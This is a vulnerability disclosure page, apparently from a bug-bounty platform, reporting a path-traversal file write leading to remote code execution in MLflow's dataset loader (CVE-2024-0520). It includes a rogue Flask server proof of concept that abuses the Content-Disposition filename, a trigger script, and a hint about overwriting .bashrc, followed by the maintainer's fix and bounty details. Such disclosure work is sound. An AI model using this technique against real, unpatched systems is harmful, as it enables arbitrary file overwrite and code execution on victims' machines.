

Remote Code Execution due to Full Controled File Write in mlflow/mlflow

✓ Valid

Reported on Nov 29th 2023

Requirements

The user must load a dataset that he found on the internet.

Description

As described in the [MLFlow documentation](#), the `mlflow.data` module can be used to:

mlflow.data

The `mlflow.data` module helps you record your model training and evaluation datasets to runs with MLflow Tracking, as well as retrieve dataset information from runs. It provides the following important interfaces:

In this context, in case the dataset `source URL` has an `HTTP` scheme, it will be load using the `HTTPDatasetSource` class: ([permalink](#))

```
def load(self, dst_path=None) -> str:
    resp = cloud_storage_http_request(
        method="GET",
        url=self.url,
        stream=True,
    )
```

```
augmented_raise_for_status(resp)
```

```
path = urlparse(self.url).path
content_disposition = resp.headers.get("Content-Disposition")
# CHECK HERE
if content_disposition is not None and (
    file_name := next(re.finditer(r"filename=(.+)",
    content_disposition), None)
):
    basename = file_name[1].strip("'\"") # NO SANITIZING HERE
elif path is not None and len(posixpath.basename(path)) > 0:
    basename = posixpath.basename(path)
else:
    basename = "dataset_source"

if dst_path is None:
    dst_path = create_tmp_dir()

dst_path = os.path.join(dst_path, basename)
with open(dst_path, "wb") as f:
    # ...
```

As you can see in the above snippet, in case the `Content-Disposition` header is set in the response, it will use the filename part to generate the final `file path` without sanitization.

Because it is used inside a `os.path.join`, the file name could be fully controlled using:

- Path traversal `../../../../tmp/poc.txt`.
- Absolute path `/tmp/poc.txt`.

▮ Proof of Concept

Full Controlled File Write

1. Run the following `rogue HTTP` server:

```
from flask import Flask, Response
app = Flask(__name__)

@app.route("/")
def index():
    res = Response("""
fixed acidity;volatile acidity;citric acid;residual sugar;chlorides;free
7.4;0.7;0;1.9;0.076;11;34;0.9978;3.51;0.56;9.4;5
7.8;0.88;0;2.6;0.098;25;67;0.9968;3.2;0.68;9.8;5
""")
    res.headers["Content-Disposition"] = 'attachment; filename="/tmp/poc.txt"'
    return res
```

```
app.run("0.0.0.0", 4444)
```

2. Then, run the following code (taken from the [documentation](#)), to trigger the vulnerability:

```
import mlflow.data
import pandas as pd
from mlflow.data.pandas_dataset import PandasDataset

dataset_source_url = "http://localhost:4444"
df = pd.read_csv(dataset_source_url)
dataset: PandasDataset = mlflow.data.from_pandas(df, source=dataset_source_url)

with mlflow.start_run():
    mlflow.log_input(dataset, context="training")

run = mlflow.get_run(mlflow.last_active_run().info.run_id)
dataset_info = run.inputs.dataset_inputs[0].dataset

dataset_source = mlflow.data.get_source(dataset_info)
dataset_source.load()
```

3. A `/tmp/poc.txt` file should have been created.

Remote Code Execution

Like I've shown in my [previous report](#), using a full controlled file write, it is easy to get an RCE by overwriting `.bashrc` for example.

Impact

A malicious user could use this issue to get command execution on the vulnerable machine and get access to data & models information.

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🔗 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago

✉️ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



Harutaka Kawamura commented 2 years ago

Maintainer

Thanks for reporting this! I filed <https://github.com/mlflow/mlflow/pull/10584/>. Could you take a look?



Mizu commented 2 years ago

Researcher

Hello 📄

Looks to be a good fix, should fix this issue 🤖



Harutaka Kawamura commented 2 years ago

Maintainer

<https://github.com/mlflow/mlflow/pull/10584> has been merged



Harutaka Kawamura validated this vulnerability 2 years ago

\$ **kevin-mizu** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



Ben Wilson gave praise 2 years ago

Thank you for the find Mizu!

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



Harutaka Kawamura marked this as fixed in **2.9.0** with commit **400c22** 2 years ago

\$ **Harutaka Kawamura** has been awarded the fix bounty ✓



This vulnerability has now been published 2 years ago



Mizu commented 2 years ago

Researcher

Is there a reason about why this will not receive a CVE?



Harutaka Kawamura commented 2 years ago

Maintainer

Sorry, I thought this one already has a CVE, but it doesn't.



CVE-2024-0520 assigned to this report. 2 years ago



CVE-2024-0520 has now been published 2 years ago

[Sign in](#) to join this conversation

CVE
CVE-2024-0520
Published

Vulnerability Type
CWE-22: Path Traversal

Severity
Critical (10)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
8.2.1 (latest)

Visibility
Public

Status
Fixed

Disclosure Bounty
\$4500

Fix Bounty
\$1125

Found by



Mizu
@kevin-mizu
[LIGHTWEIGHT](#)
 

Fixed by



Harutaka Kawamura
@harupy
[UNPROVEN](#)




© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)